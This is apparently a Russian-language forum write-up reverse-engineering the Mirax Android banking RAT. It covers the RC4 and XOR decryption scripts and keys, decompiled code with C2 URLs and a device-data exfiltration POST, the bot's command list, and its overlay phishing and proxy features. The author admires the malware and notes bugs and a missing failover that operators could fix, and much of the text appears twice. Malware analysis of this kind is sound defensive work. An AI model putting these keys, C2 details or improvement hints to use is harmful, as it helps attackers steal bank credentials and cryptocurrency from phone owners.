Всех приветствую. Сегодня разберём по косточкам андроид-бот Mirax. Продаётся как приватный RAT с HVNC, инжектами, кейлоггером, reverse proxy и прочим фаршем за 2500$/мес (full) и 1750$/мес (light). Заявлено 700+ инъекций, поддержка китайских устройств, автокрипт, multi-builder. Звучит крайне жирно.
Собран на Gradle 8.11.1, Kotlin 2.0.21, targetCompatibility Java 11. Первое что бросается в глаза - APK запакован кастомным криптором. ZIP-заголовки намеренно повреждены: AndroidManifest.xml имеет compression method 35596 (стандартные - 0 stored или 8 deflate). Из-за этого aapt, apktool и jadx не могут открыть APK напрямую. Но 7z и unzip справляются с извлечением файлов без проблем, а DEX-файлы лежат незашифрованными.
Внутри 8 DEX-файлов (classes.dex - classes8.dex), ~4 МБ суммарно. Плюс assets с кучей файлов от легитимного приложения HiBy Music (китайский музыкальный плеер). SQL-файлы в assets - это миграции БД музыкального плеера (таблицы AudioItem, Album, Artist, NewPlaylist). Bootstrap, jQuery, SVG-иконки, HTML-документация HiBy Music - всё это мусор от приложения-донора, которое использовали как оболочку.
Собственно малварный код живёт всего в трёх пакетах:
759 классов из jadx, из них 99% - легитимный код HiBy Music и стандартные библиотеки (androidx, kotlin, lottie, zxing barcode scanner). Малвари - буквально 3 класса.
Главный класс
1. В
2. Ищет в assets файл YuDPAJ.ico по обфусцированному пути (70+ вложенных папок с мусорными именами типа
3. Расшифровывает его RC4 с ключом "AXKmgef"
4. Распаковывает полученный ZIP
5. Загружает извлечённые DEX-файлы в runtime через рефлексию
Ключевые поля класса:
Сам RC4 реализован прямо в методе
Между двумя полезными строками кода - 10-15 строк мусора. Классический приём антианализа.
Класс
И как мне подсказали со стороны, это всё Golden Crypt. Сами же Mirax сотрудничает с ними.
РАТ'ник от NMZ a.k.a Albriox тоже сотрудничает/сотрудничал с ними, ибо в прошлом разборе была именно такой же крипт. Щёлкается он как орешки, но выглядит страшновато. С течением времени уже привыкаешь к такому.
Расшифровываем YuDPAJ.ico руками:
На выходе - ZIP (magic
Декомпилируем его до конца. 3352 класса, но после фильтрации androidx/kotlin/google остаётся пакет org.lgvvfj.pluscqpuj - это и есть ядро. Смотрим сразу же билдконфиг, и уже имеем частичные карты на руках.
Payload организован достаточно чисто - контейнер (
1.
2. Если нет - показывает
3. Пользователь видит красивую страницу на испанском: "Actualiza StreamTV" с кнопкой "Actualizar"
4. При нажатии -
5.
6.
7.
8.
9. Дроппер убивает свой процесс чтоб скрыть следы
На каждом шаге шлются данные на C2 через
В assets лежит HTML-страница
1 - Haz click en Actualizar.
2 - Concede el permiso de Fuentes Desconocidas.
3 - Instalar
3 - Espera a que finalice la instalación.
Кнопка "Actualizar" запускает JS с фейковым прогресс-баром. Когда доходит до 100% - вызывает
В целом stage 2 неплохо прикрыт от автоматики. Кастомный криптор с побитыми ZIP-заголовками (compression method 35596) - стандартные RE-тулзы просто отказываются открывать APK. Opaque predicates в stage 1 засыпают аналитика мусорными арифметическими операциями - между двумя полезными строками по 10-15 строк junk. RC4 шифрование payload - без ключа "AXKmgef" дальше первого stage'а не уедешь. После установки импланта дроппер убивает собственный процесс - меньше следов. И вишенка: задержки от 3 до 20 секунд между шагами чтоб sandbox-детекторы не успели поймать всю цепочку за один прогон.
Отдельно хочу отметить как они спрятали дроппер. В качестве оболочки взяли HiBy Music - легитимный китайский аудиоплеер. Затащили все его ресурсы, SQL-миграции, HTML-документацию, SVG-иконки, нативные библиотеки. В итоге jadx показывает 759 классов от HiBy + androidx, а малвари буквально 3 класса. Иголка в стоге сена. Библиотеки com.caverock.androidsvg, com.ailet.common.* (crop, barcode, animation/lottie, connectivity) - всё донорское, всё для вида.
Казалось бы, дроппер скачал и установил имплант org.yjeiwd.plusdc71, на этом всё. Но нет. Полезли в ресурсы установленного APK и обнаружили
И на выходе - ещё один APK, 10.5 МБ. Открываем, а там... дежавю. Тот же самый паттерн что и в первом. Application класс
1. Stage 1 (исходный APK) - криптор, RC4 "AXKmgef" -> stage 2
2. Stage 2 (decrypted_payload.zip) - дроппер "StreamTV", XOR RESOURCE_KEY -> stage 3
3. Stage 3 (implant.apk) - ещё один дроппер, RC4 "ZoKlOw" -> stage 4 (реальный бот)
Расшифровываем уже 4 часть, получаем ZIP с двумя DEX-файлами. Декомпилируем и наконец добираемся до настоящего ядра. Три уровня шифрования, три разных ключа, три разных алгоритма, и всё для того чтобы добраться до одного пакета.
Первым делом ищем куда эта штука звонит домой. Два домена вшиты в код:
Названия подобраны максимально невинно - кто заподозрит трафик на "ilovepng.info"? Архитектура связи - это два вебсокета, и вот тут видно что автор не залётный. Два независимых канала, каждый под своё:
Все команды зарегистрированы в
По сути полноценный пульт от чужого телефона.
А теперь к хлебу насущному - ради чего вся эта конструкция вообще существует.
Отдельная жемчужина - полноценная реализация SOCKS5 reverse proxy через WebSocket туннель на порту 8445. Внутри используется Yamux мультиплексирование (
Закреп тут многослойный и довольно параноидальный. Пять сервисов образуют мэш сеть и мониторят друг друга: beginSrvs, TscTscbltService, bgPratcia, newhelperservice, ResilientProtectionService. Если один падает - остальные поднимают его за 5 секунд. За оркестрацию отвечает
Ок, функционал расписали, звучит грозно. Но мы же тут не рекламу пишем. Давайте откроем jadx, залезем в
Открываем
Заметили?
Нет лимита на количество попыток. Вообще. Если сервис крэшится сразу после startForegroundService() (а на Android 12+ с foreground service restrictions это вполне реальный сценарий) - recovery запускается заново из трёх независимых источников. Каждый поднимает coroutine на IO dispatcher. IO dispatcher в Kotlin - unbounded thread pool. Результат: бесконечный цикл рестартов, CPU на 100%, батарея тает на глазах, телефон жертвы начинает греться и тормозить настолько что она заподозрит неладное и понесёт его в сервис.
В
Ставится в true перед запуском clipboard-операции через foreground activity. Timeout через 5 секунд должен сбросить обратно. Но если
Баги - это полбеды, они проявляются не всегда. А вот архитектурные решения - это то что работает (точнее не работает) всегда. Один С2 и это главный косяк всего проекта. Открываем
Один домен в списке. Один. Да, googleauth.pro вшит в
А чего мы всё только о плохом?!..- О хорошем тоже надо поговорить, а именно преимуществ перед конкурентами. И их немало. Разделение на control (8443) и data (8444) - не для красоты. В
Тяжёлые данные (внц на 15 FPS, камера в 4K, SMS-дампы) не забивают канал управления. Оператор может послать команду мгновенно даже при активном VNC-стриме. Большинство RAT'ов гоняют всё через один сокет и потом удивляются почему команды доходят с задержкой в 10 секунд при активном стриме.
Четыре уровня приоритета в очереди - критические команды (lock, wipe, disableProtection) пролетают мимо очереди скриншотов. Если оператору нужно срочно заблокировать экран или снять protection - это не будет ждать пока прокачается пачка из 500 кейлогов. Автору спасибо, что подумал и о реальных кейсах использования!)
Когда VNC активен - throttle увеличивается с 100ms до 250ms, чтобы accessibility tree updates не сожрали весь канал. Плюс фильтрация по типу ивента: TYPE_WINDOW_STATE_CHANGED и TYPE_WINDOW_CONTENT_CHANGED проходят без throttle, остальные фильтруются. Без этого accessibility tree на 10 FPS убил бы любой канал.
Скажу честно - на мой взгляд это один из лучших Android RAT'ов что я видел за последнее время. По функционалу, тут реально всё что нужно и даже больше. Dual WebSocket на два независимых канала с приоритетными очередями - грамотное разделение, которое я у конкурентов просто не встречал. Большинство ботов гоняют скриншоты и команды через один сокет и удивляются лагам. Тут control канал всегда свободен, даже когда по data летит VNC-стрим на 15 FPS. Два режима VNC, HTML-инъекции с динамической подгрузкой шаблонов с C2, фейковые lockscreen'ы трёх типов, SOCKS5 reverse proxy через Yamux, кейлоггер, скрытая камера до 4K, клипборд-свапер, мониторинг 80+ пакетов. Но что реально выделяет Mirax на фоне остальных - это работа с китайскими прошивками. OEM-хаки для Xiaomi, Huawei, OPPO, Vivo, Samsung, ZTE, Transsion, обход battery saver, autostart manager, device care. 90% RAT'ов просто дохнут на MIUI через час после установки. Этот - нет. Пять сервисов в mesh-сети поднимают друг друга за 5 секунд через три независимых механизма. Адаптивный тротл для accessibility events. Clipboard с тремя fallback'ами под разные API. Три типа экрана блокировки. Каждая из этих штук по отдельности - ничего особенного. Но когда всё вместе, аккуратно интегрировано и реально работает на живых устройствах - это уже уровень. Да, баги есть. Гонка в очередях, мёртвый лок на clipboard. Один C2 домен - серьёзный косяк для продакшна. Но это всё фиксится за неделю работы, а архитектурный фундамент - крепкий. Всем пока, не болейте!
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Собственно малварный код живёт всего в трёх пакетах:
- net.fish.stage - класс Mmarginsalmon (Application, дроппер/лоадер stage 1)
- c.b.a - утилита инъекции DEX в classpath
- c.a.a.a - вспомогательный XML-парсер
759 классов из jadx, из них 99% - легитимный код HiBy Music и стандартные библиотеки (androidx, kotlin, lottie, zxing barcode scanner). Малвари - буквально 3 класса.
Не удалось прогрузить медиа
net.fish.stage.Mmarginsalmon наследует Application. Это точка входа всего APK. Что он делает:1. В
attachBaseContext() создаёт директорию context.getDir("design", 0)2. Ищет в assets файл YuDPAJ.ico по обфусцированному пути (70+ вложенных папок с мусорными именами типа
xssplyЫ¦Ы–qbeydЫ«/susklawxxxЫ¦Ы–Ы«zzojd/...)3. Расшифровывает его RC4 с ключом "AXKmgef"
4. Распаковывает полученный ZIP
5. Загружает извлечённые DEX-файлы в runtime через рефлексию
Ключевые поля класса:
Code:
public String n = "design"; // имя директории для payload
public String o = "YuDPAJ.ico"; // имя зашифрованного файла
public String z = "AXKmgef"; // RC4 ключ
public String y = "xssplyЫ¦Ы–qbeyd..."; // обфусцированный путь к файлу в assets
Сам RC4 реализован прямо в методе
a(byte[]) - стандартный KSA + PRGA, но обвешан тоннами junk-кода. Буквально каждая строчка обёрнута бессмысленными арифметическими операциями над статическими полями b, c, d, e, f, g, h, i.
Code:
int i4 = (i2 * 305966 * i3) + (186128 * i2);
b = i4;
int i5 = i;
g = ((i5 - 653655219) + i3) - g;
int i6 = (i4 - 711742) + i3;
d = i6;
// а потом просто fileInputStream = new FileInputStream(str);
Между двумя полезными строками кода - 10-15 строк мусора. Классический приём антианализа.
Класс
c.b.a.a отвечает за инъекцию загруженных DEX в classpath через рефлексию. Использует getDeclaredField() для доступа к internal полям ClassLoader, создаёт новый массив с добавленными DEX и подставляет его обратно.Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Code:
key = b"AXKmgef"
with open("YuDPAJ.ico", "rb") as f:
data = f.read()
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
out = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(byte ^ S[(S[i] + S[j]) % 256])
На выходе - ZIP (magic
PK\x03\x04), 3.7 МБ. Внутри два DEX: classes.dex (9.7 МБ) и classes2.dex (272 КБ). Это уже и есть дальнейшая цепочка.Не удалось прогрузить медиа
Code:
public final class BuildConfig {
public static final String APP_NAME = "StreamTV";
public static final String IMPLANT_PACKAGE_NAME = "org.yjeiwd.plusdc71";
public static final String STATS_REPORT_URL = "https://descarga-smtr.com/report.php";
public static final String ACCESSIBILITY_CHECK_URL = "https://descarga-smtr.net/install_finish.html";
public static final String RESOURCE_KEY = "98598ff8adea1de916c1ff1283a2f003eb6a95b026cf7bd1021a1970896d488d";
public static final String LAUNCH_MODE = "accessibility_check";
public static final String VERSION_NAME = "3.12.21";
}
Не удалось прогрузить медиа
NahuLoadergns) с инициализацией всех компонентов:
Code:
securePreferences -> encrypted SharedPreferences
apkDownloader -> MabisAdapter09i (загрузка APK с retry)
c2PollingService -> DataResourceLoader41r (запросы на C2)
installerRepository -> SexokicAdapterrwg (установка APK)
downloadApkUseCase -> JuqanHandler40x (управлялка загрузки)
checkAppInstalledUseCase -> JuladogControllerb69 (проверка установки)
launchAppUseCase -> JaqeController2vm (запуск импланта)
1.
CustomActionHandlerae8.onCreate() - точка входа, проверяет установлен ли имплант2. Если нет - показывает
QijoController9ml (фейковый UI "StreamTV")3. Пользователь видит красивую страницу на испанском: "Actualiza StreamTV" с кнопкой "Actualizar"
4. При нажатии -
LicepeHelper7sx запускает state machine: Idle -> Loading -> DownloadingApk -> InstallingApp -> AppInstalled -> AppLaunched5.
DataResourceLoader41r делает HTTP POST на C2 за метаданными APK (URL, checksum, package name)6.
MabisAdapter09i скачивает APK с retry (3 попытки, backoff 2 сек), верифицирует MD5/SHA256, сохраняет как zbtqxgbk.dat7.
SexokicAdapterrwg устанавливает APK через system installer8.
JaqeController2vm запускает имплант9. Дроппер убивает свой процесс чтоб скрыть следы
На каждом шаге шлются данные на C2 через
QagubarHelper9tc:
Code:
Events: "dropper_opened", "install_started", "install_completed",
"install_failed", "implant_launched"
JSON POST -> https://descarga-smtr.com/report.php
{
"device_id": <Android ID>,
"android_version": <...>,
"device_model": <...>,
"manufacturer": <...>,
"brand": <...>,
"dropper_version": "3.12.21",
"implant_package": "org.yjeiwd.plusdc71",
"event_type": <...>,
"timestamp": <...>
}
Не удалось прогрузить медиа
Не удалось прогрузить медиа
В assets лежит HTML-страница
zrhdocjagltc.html - социнженерная обёртка на испанском. Тёмная карточка с градиентами, логотип "StreamTV" с кнопкой play, инструкция:1 - Haz click en Actualizar.
2 - Concede el permiso de Fuentes Desconocidas.
3 - Instalar
3 - Espera a que finalice la instalación.
Кнопка "Actualizar" запускает JS с фейковым прогресс-баром. Когда доходит до 100% - вызывает
Android.start() через JS bridge. Жертва думает что обновляет StreamTV, а на самом деле ставит имплант.Не удалось прогрузить медиа
В целом stage 2 неплохо прикрыт от автоматики. Кастомный криптор с побитыми ZIP-заголовками (compression method 35596) - стандартные RE-тулзы просто отказываются открывать APK. Opaque predicates в stage 1 засыпают аналитика мусорными арифметическими операциями - между двумя полезными строками по 10-15 строк junk. RC4 шифрование payload - без ключа "AXKmgef" дальше первого stage'а не уедешь. После установки импланта дроппер убивает собственный процесс - меньше следов. И вишенка: задержки от 3 до 20 секунд между шагами чтоб sandbox-детекторы не успели поймать всю цепочку за один прогон.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
res/raw/lib_data_kcvm.bin. Расшифровываем XOR'ом с ключом из BuildConfig.RESOURCE_KEY:
Code:
hex_key = "98598ff8adea1de916c1ff1283a2f003eb6a95b026cf7bd1021a1970896d488d"
key = bytes.fromhex(hex_key)
with open("lib_data_kcvm.bin", "rb") as f:
data = f.read()
out = bytearray(len(data))
for i in range(len(data)):
out[i] = data[i] ^ key[i % len(key)]
И на выходе - ещё один APK, 10.5 МБ. Открываем, а там... дежавю. Тот же самый паттерн что и в первом. Application класс
Haspectneed, RC4 ключ "ZoKlOw", payload kmmWMMo.html спрятанный в директории mushroom за стеной из 80+ обфусцированных папок. Настоящая матрёшка:1. Stage 1 (исходный APK) - криптор, RC4 "AXKmgef" -> stage 2
2. Stage 2 (decrypted_payload.zip) - дроппер "StreamTV", XOR RESOURCE_KEY -> stage 3
3. Stage 3 (implant.apk) - ещё один дроппер, RC4 "ZoKlOw" -> stage 4 (реальный бот)
Расшифровываем уже 4 часть, получаем ZIP с двумя DEX-файлами. Декомпилируем и наконец добираемся до настоящего ядра. Три уровня шифрования, три разных ключа, три разных алгоритма, и всё для того чтобы добраться до одного пакета.
Не удалось прогрузить медиа
Первым делом ищем куда эта штука звонит домой. Два домена вшиты в код:
Code:
ilovepng.info
googleauth.pro
Code:
Control channel (порт 8443/WSS) - /control
-> команды, хэндшейк, управление устройством
Data channel (порт 8444/WSS) - /data
-> экcфильтрация: скриншоты, кейлоги, камера, SMS
SOCKS5 tunnel (порт 8445) - /tunnel
-> reverse proxy через устройство жертвы
Не удалось прогрузить медиа
DualWebSocketProvider.registerDefaultHandlers(), и список большой.
Code:
home / back / recents - системные кнопки через accessibility
blackScreen - полный чёрный экран (скрыть активность)
blackScreen_updating - фейковый "Android is updating" с прогрессом
blackScreen_unlock - фейковый экран разблокировки
layout_updates_start/stop - стрим accessibility tree (10 FPS)
startScreenSharing - MediaProjection захват экрана
startVncScreenSharing - VNC через AccessibilityService.takeScreenshot()
click / tap / swipe / scroll - инъекция жестов через accessibility
longPress / long_click - долгое нажатие
text - ввод текста в фокусное поле
getClipboard / setClipboard - чтение/запись буфера обмена (крипто-свап)
getKeylogs / clearKeylogs - дамп кейлоггера
getInstalledApps - список всех приложений
getDeviceState - полный fingerprint устройства
getKeyguardInfo - тип экрана блокировки
startCamera / stopCamera - скрытая трансляция камеры (фронт/тыл, 1-60 FPS)
enableUninstallProtection - включить защиту от удаления
disableUninstallProtection - выключить
socks5_enable - включить SOCKS5 reverse proxy
socks5_status_request - статус прокси
openApp - запуск любого приложения по package name
showNotification - фейковое уведомление от имени любого приложения
wakeDevice / lockDevice - пробуждение / блокировка экрана
unlockDevice - разблокировка через accessibility
mute - включить режим "не беспокоить"
enableNeverSleep - запретить уход в сон
forceReconnect - переподключение к C2
По сути полноценный пульт от чужого телефона.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
А теперь к хлебу насущному - ради чего вся эта конструкция вообще существует.
HtmlInjectionManager отвечает за оверлей-фишинг, и работает это красиво. Подгружаются с C2 в рантайме - оператор может добавлять новые банки на лету, без пересборки APK. Механизм такой: жертва открывает банковское приложение, AccessibilityService ловит событие, сверяет package name с конфигом, и если совпало - рисует WebView с фишинговой формой поверх настоящего приложения. Жертва вводит логин-пароль думая что это банк, а данные улетают через HtmlDataReceiver как html_data_captured на data канал. Но инъекциями дело не ограничивается. Есть три типа фейковых экранов блокировки: PatternLockView (графический ключ), PINLockView (PIN-код) и PasswordLockActivity (текстовый пароль). А PackageMonitor мониторит 80+ триггерных пакетов - настройки, лаунчеры, системные UI, антивирусы от всех вендоров. Открыл настройки чтоб удалить подозрительное приложение? Получи фейковый lockscreen, введи PIN, спасибо за содействие.Не удалось прогрузить медиа
Отдельная жемчужина - полноценная реализация SOCKS5 reverse proxy через WebSocket туннель на порту 8445. Внутри используется Yamux мультиплексирование (
YamuxSession) - каждое соединение создаёт отдельный стрим, StreamHandler обрабатывает CONNECT-запросы и пробрасывает трафик. Зачем это нужно? Oператор подключает антидетект-браузер через этот прокси и заходит в банк жертвы. Весь трафик идёт с IP устройства, антифрод видит легитимный IP + знакомый fingerprint. Авторизация через X-Device-ID + Authorization: Bearer njrty, максимум 100 одновременных соединений.Не удалось прогрузить медиа
AdvancedProcessRecoveryManager - он использует сразу три механизма: WorkManager (системный планировщик), AlarmManager (аварийный таймер на случай если WorkManager убьют) и coroutine петли (программный мониторинг на случай если убьют и AlarmManager). PermissionLossProtection каждые 10-30 секунд проверяет accessibility, камеру, уведомления, device admin. Отозвал пользователь разрешение, бот пытается прожать его заново. PowerManagementUtils держит WakeLock + WiFi lock + обходит battery saver, причём с поддержкой китайцев: Xiaomi (MIUI survival mode), Huawei (игнор battery optimization), OPPO/Vivo (autostart manager), Samsung (device care whitelist), ZTE, Transsion (Tecno/Infinix/itel). А глобальный crash handler ловит вообще все необработанные исключения и шлёт крэш-репорт на C2 с полным стектрейсом - разработчик узнает о проблеме раньше жертвы.Не удалось прогрузить медиа
sources/org/yjeiwd/plusdc71/appcontainer/ и посмотрим как оно на самом деле написано. Спойлер: есть и хорошее, и очень плохое.Открываем
core/PriorityMessageQueue.java. Через него идут ВСЕ сообщения между ботом и C2. Четыре приоритетных очереди на базе ArrayList:
Code:
private final List<JSONObject>[] queues; // 4 очереди
public PriorityMessageQueue(int i) {
this.maxSize = i;
List<JSONObject>[] listArr = new List[4];
for (int i2 = 0; i2 < 4; i2++) {
listArr[i2] = new ArrayList();
}
this.queues = listArr;
}
public final int size() {
int size;
int i = 0;
for (List<JSONObject> list : this.queues) {
synchronized (list) { // <-- synchronized только тут
size = list.size();
}
i += size;
}
return i;
}
Заметили?
synchronized стоит только в size(). А enqueue/dequeue работают с теми же ArrayList'ами без какой-либо блокировки. ArrayList не thread-safe. Control канал и data канал пишут из разных потоков - и вот вам data race, потерянные сообщения, ConcurrentModificationException. Оператор шлёт "заблокируй экран" - а команда молча пропадает.
Code:
package org.yjeiwd.plusdc71.appcontainer.core;
import androidx.constraintlayout.widget.ConstraintLayout;
import java.util.ArrayList;
import java.util.List;
import kotlin.Metadata;
import org.json.JSONObject;
/* compiled from: DualWebSocketManager.kt */
@Metadata(d1 = {"\u0000\"\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0010\u0011\n\u0002\u0010!\n\u0002\u0018\u0002\n\u0002\b\u0003\b\u0002\u0018\u00002\u00020\u0001B\r\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0002\u0010\u0004J\u0006\u0010\n\u001a\u00020\u0003R\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010\u0005\u001a\u000e\u0012\n\u0012\b\u0012\u0004\u0012\u00020\b0\u00070\u0006X\u0082\u0004¢\u0006\u0004\n\u0002\u0010\t¨\u0006\u000b"}, d2 = {"Lorg/yjeiwd/plusdc71/appcontainer/core/PriorityMessageQueue;", "", "maxSize", "", "(I)V", "queues", "", "", "Lorg/json/JSONObject;", "[Ljava/util/List;", "size", "app_release"}, k = 1, mv = {1, 9, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
final class PriorityMessageQueue {
private final int maxSize;
private final List<JSONObject>[] queues;
public PriorityMessageQueue(int i) {
this.maxSize = i;
List<JSONObject>[] listArr = new List[4];
for (int i2 = 0; i2 < 4; i2++) {
listArr[i2] = new ArrayList();
}
this.queues = listArr;
}
public final int size() {
int size;
int i = 0;
for (List<JSONObject> list : this.queues) {
synchronized (list) {
size = list.size();
}
i += size;
}
return i;
}
}
Не удалось прогрузить медиа
core/AdvancedProcessRecoveryManager.java, метод startImmediateServiceRecovery():
Code:
List listOf = CollectionsKt.listOf((Object[]) new Class[]{
beginSrvs.class, newhelperservice.class,
bgPratcia.class, ResilientProtectionService.class
});
while (it.hasNext()) {
cls = (Class) it.next();
if (!advancedProcessRecoveryManager.isServiceRunning(cls)) {
advancedProcessRecoveryManager.context.startForegroundService(
new Intent(advancedProcessRecoveryManager.context, cls));
// задержка 1с
}
}
Нет лимита на количество попыток. Вообще. Если сервис крэшится сразу после startForegroundService() (а на Android 12+ с foreground service restrictions это вполне реальный сценарий) - recovery запускается заново из трёх независимых источников. Каждый поднимает coroutine на IO dispatcher. IO dispatcher в Kotlin - unbounded thread pool. Результат: бесконечный цикл рестартов, CPU на 100%, батарея тает на глазах, телефон жертвы начинает греться и тормозить настолько что она заподозрит неладное и понесёт его в сервис.
Не удалось прогрузить медиа
core/ClipboardAccessManager.java есть флаг:
Code:
private static final AtomicBoolean isOperationPending = new AtomicBoolean(false);
Ставится в true перед запуском clipboard-операции через foreground activity. Timeout через 5 секунд должен сбросить обратно. Но если
startActivity() бросит исключение (а на Xiaomi/Huawei с их кастомными permission manager'ами это обычное дело) - catch блок ловит exception, но флаг не сбрасывает. Всё. isOperationPending навсегда true. Все дальнейшие операции, включая крипто-свап, ключевую функцию бота - заблокированы до перезагрузки устройства. Одно неудачное чтение буфера обмена, и считай подмены крипто-адресов больше нет.Не удалось прогрузить медиа
core/DualWebSocketManager.java:
Code:
private static final List<String> SERVER_HOSTS = CollectionsKt.listOf("ilovepng.info");
Один домен в списке. Один. Да, googleauth.pro вшит в
NativeUtils.getDecryptedWebSocketUrl(), но он нигде не подключён к DualWebSocketManager как failover. Для RaaS за 2500$/мес это ужас, почему-то даже в малваре, которая была нацелена на граждан РФ этот момент делали лучше через 4 прокси, и если дропнется одна, другая встанет. Одна заявка на абузу - и клиенты теряют все свои ботнеты. (я не понимаю почему так, но это судя по всему распространенная проблема, наблюдал аналогичное и в другом ратнике)Не удалось прогрузить медиа
DualWebSocketManager определены два листа команд.
Code:
CONTROL_MESSAGE_TYPES = setOf("ping", "pong", "androidHandshake", "command",
"gesture", "viewerControl", "enableUninstallProtection", "socks5_enable")(
DATA_MESSAGE_TYPES = setOf("screenUpdate", "screenFrame", "vncScreenFrame",
"keylog_batch", "camera_frame", "sms_batch", "html_data_captured",
"socks5_status")
Тяжёлые данные (внц на 15 FPS, камера в 4K, SMS-дампы) не забивают канал управления. Оператор может послать команду мгновенно даже при активном VNC-стриме. Большинство RAT'ов гоняют всё через один сокет и потом удивляются почему команды доходят с задержкой в 10 секунд при активном стриме.
Не удалось прогрузить медиа
Четыре уровня приоритета в очереди - критические команды (lock, wipe, disableProtection) пролетают мимо очереди скриншотов. Если оператору нужно срочно заблокировать экран или снять protection - это не будет ждать пока прокачается пачка из 500 кейлогов. Автору спасибо, что подумал и о реальных кейсах использования!)
Не удалось прогрузить медиа
Code:
private final long getThrottleMs() {
return isVncActive() ? this.VNC_ACTIVE_THROTTLE_MS : this.BASE_THROTTLE_MS;
}
// BASE_THROTTLE_MS = 100, VNC_ACTIVE_THROTTLE_MS = 250
Когда VNC активен - throttle увеличивается с 100ms до 250ms, чтобы accessibility tree updates не сожрали весь канал. Плюс фильтрация по типу ивента: TYPE_WINDOW_STATE_CHANGED и TYPE_WINDOW_CONTENT_CHANGED проходят без throttle, остальные фильтруются. Без этого accessibility tree на 10 FPS убил бы любой канал.
Не удалось прогрузить медиа
PowerManagementUtils детектит вендора и подстраивает поведение под каждого: Xiaomi (MIUI survival mode), Huawei (игнор battery optimization), OPPO/Vivo (autostart manager), Samsung (device care whitelist), ZTE, Transsion (Tecno/Infinix/itel). 90% RAT'ов дохнут на китайских прошивках из-за aggressive battery optimization, но не этот)Не удалось прогрузить медиа
👍8
❤️2
👏1
💯1
LIMB